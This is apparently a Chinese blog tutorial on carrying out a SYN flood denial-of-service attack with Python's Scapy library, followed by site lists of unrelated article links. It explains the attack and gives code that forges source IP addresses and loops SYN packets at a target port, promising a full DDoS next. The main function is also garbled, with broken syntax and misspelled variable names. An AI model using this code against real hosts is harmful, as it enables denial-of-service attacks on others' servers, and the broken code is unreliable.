Python项目 基于Scapy实现SYN泛洪攻击的方法


Posted in Python onJuly 23, 2019

python3版本的Scapy--Scapy3k来实现一个简单的DDos。

首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在这里就不再赘述,SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。

Scapy是一个强大的交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。首先需要安装Scapy3k:

sudo pip3 install scapy-python3

Python项目 基于Scapy实现SYN泛洪攻击的方法

现在学习一下scapy的使用方法:

sudo scapy(scapy发送数据包需要root权限)

Python项目 基于Scapy实现SYN泛洪攻击的方法

(警告信息是因为有一些依赖包没有安装,但是我们本次实验不需要使用我就不装了)

现在我们使用Scapy构造一个简单的数据包看一下:

pkt = IP(dst = "192.168.0.10")

Python项目 基于Scapy实现SYN泛洪攻击的方法

接下来我们就构造一个SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

Python项目 基于Scapy实现SYN泛洪攻击的方法

(我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的,IP包中我)们指定了源IP地址src和目的IP地址dst,其中src是我们伪造的地址,flags的值设定为S说明要发送的是SYN数据包)

代码实现:

具体代码如下:

import random
import scapy.all import *
 
def synFlood(tgt,dPort):
  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  from sPort in range(1-24,65535):
    index = random.randrange(4)
    ipLayer = IP(stc = stcList[index].dst = tgt)
    tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
    packet = ipLayer/tcpLayer
    send(packet)

定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。本次实验就算完成,下次实验实现一个完整的Ddos过程。

以上这篇Python项目 基于Scapy实现SYN泛洪攻击的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
9种python web 程序的部署方式小结
Jun 30 Python
python读取oracle函数返回值
Jul 18 Python
python安装PIL模块时Unable to find vcvarsall.bat错误的解决方法
Sep 19 Python
Python使用三种方法实现PCA算法
Dec 12 Python
对Python的多进程锁的使用方法详解
Feb 18 Python
Django组件content-type使用方法详解
Jul 19 Python
python word转pdf代码实例
Aug 16 Python
Python 进程操作之进程间通过队列共享数据,队列Queue简单示例
Oct 11 Python
Python第三方库的几种安装方式(小结)
Apr 03 Python
python如何实现读取并显示图片(不需要图形界面)
Jul 08 Python
python中函数返回多个结果的实例方法
Dec 16 Python
Python中使用Opencv开发停车位计数器功能
Apr 04 Python
Django logging配置及使用详解
Jul 23 #Python
Python利用scapy实现ARP欺骗的方法
Jul 23 #Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 #Python
提升Python效率之使用循环机制代替递归函数
Jul 23 #Python
深入了解Django View(视图系统)
Jul 23 #Python
Python Opencv任意形状目标检测并绘制框图
Jul 23 #Python
flask框架单元测试原理与用法实例分析
Jul 23 #Python
You might like
php自动给文章加关键词链接的函数代码
2012/11/29 PHP
ThinkPHP多语言支持与多模板支持概述
2014/08/22 PHP
PHP SPL标准库之数据结构堆(SplHeap)简单使用实例
2015/05/12 PHP
js比较和逻辑运算符的介绍
2013/03/10 Javascript
jquery无缝向上滚动实现代码
2013/03/29 Javascript
javascript实现可改变滚动方向的无缝滚动实例
2013/06/17 Javascript
一个简单的JS时间控件示例代码(JS时分秒时间控件)
2013/11/22 Javascript
Jquery 改变radio/checkbox选中状态,获取选中的值(示例代码)
2013/12/12 Javascript
jQuery实现div浮动层跟随页面滚动效果
2014/02/11 Javascript
js检验密码强度(低中高)附图
2014/06/05 Javascript
AngularJs $parse、$eval和$observe、$watch详解
2016/09/21 Javascript
Bootstrap基本组件学习笔记之进度条(15)
2016/12/08 Javascript
基于JSONP原理解析(推荐)
2017/12/04 Javascript
JS排序算法之希尔排序与快速排序实现方法
2017/12/12 Javascript
p5.js入门教程之键盘交互
2018/03/19 Javascript
React Form组件的实现封装杂谈
2018/05/07 Javascript
详解node字体压缩插件font-spider的用法
2018/09/28 Javascript
Angular设置别名alias的方法
2018/11/08 Javascript
微信小程序自定义navigationBar顶部导航栏适配所有机型(附完整案例)
2020/04/26 Javascript
Nuxt的动态路由和参数校验操作
2020/11/09 Javascript
跟老齐学Python之字典,你还记得吗?
2014/09/20 Python
Python实现遍历目录的方法【测试可用】
2017/03/22 Python
Python把csv数据写入list和字典类型的变量脚本方法
2018/06/15 Python
python3中zip()函数使用详解
2018/06/29 Python
详解python 利用echarts画地图(热力图)(世界地图,省市地图,区县地图)
2019/08/06 Python
基于Python的接口自动化unittest测试框架和ddt数据驱动详解
2021/01/27 Python
html5在移动端的屏幕适应问题示例探讨
2014/06/15 HTML / CSS
canvas探照灯效果的示例代码
2018/11/30 HTML / CSS
土耳其国际性时尚购物网站:Modanisa
2018/01/19 全球购物
2014年大学学生会工作总结
2014/12/02 职场文书
办公室岗位职责范本
2015/04/11 职场文书
集结号观后感
2015/06/08 职场文书
2016暑期师德培训心得体会
2016/01/09 职场文书
小程序wx.getUserProfile接口的具体使用
2021/06/02 Javascript
使用goaccess分析nginx日志的详细方法
2021/07/09 Servers
python实现一个简单的贪吃蛇游戏附代码
2022/06/28 Python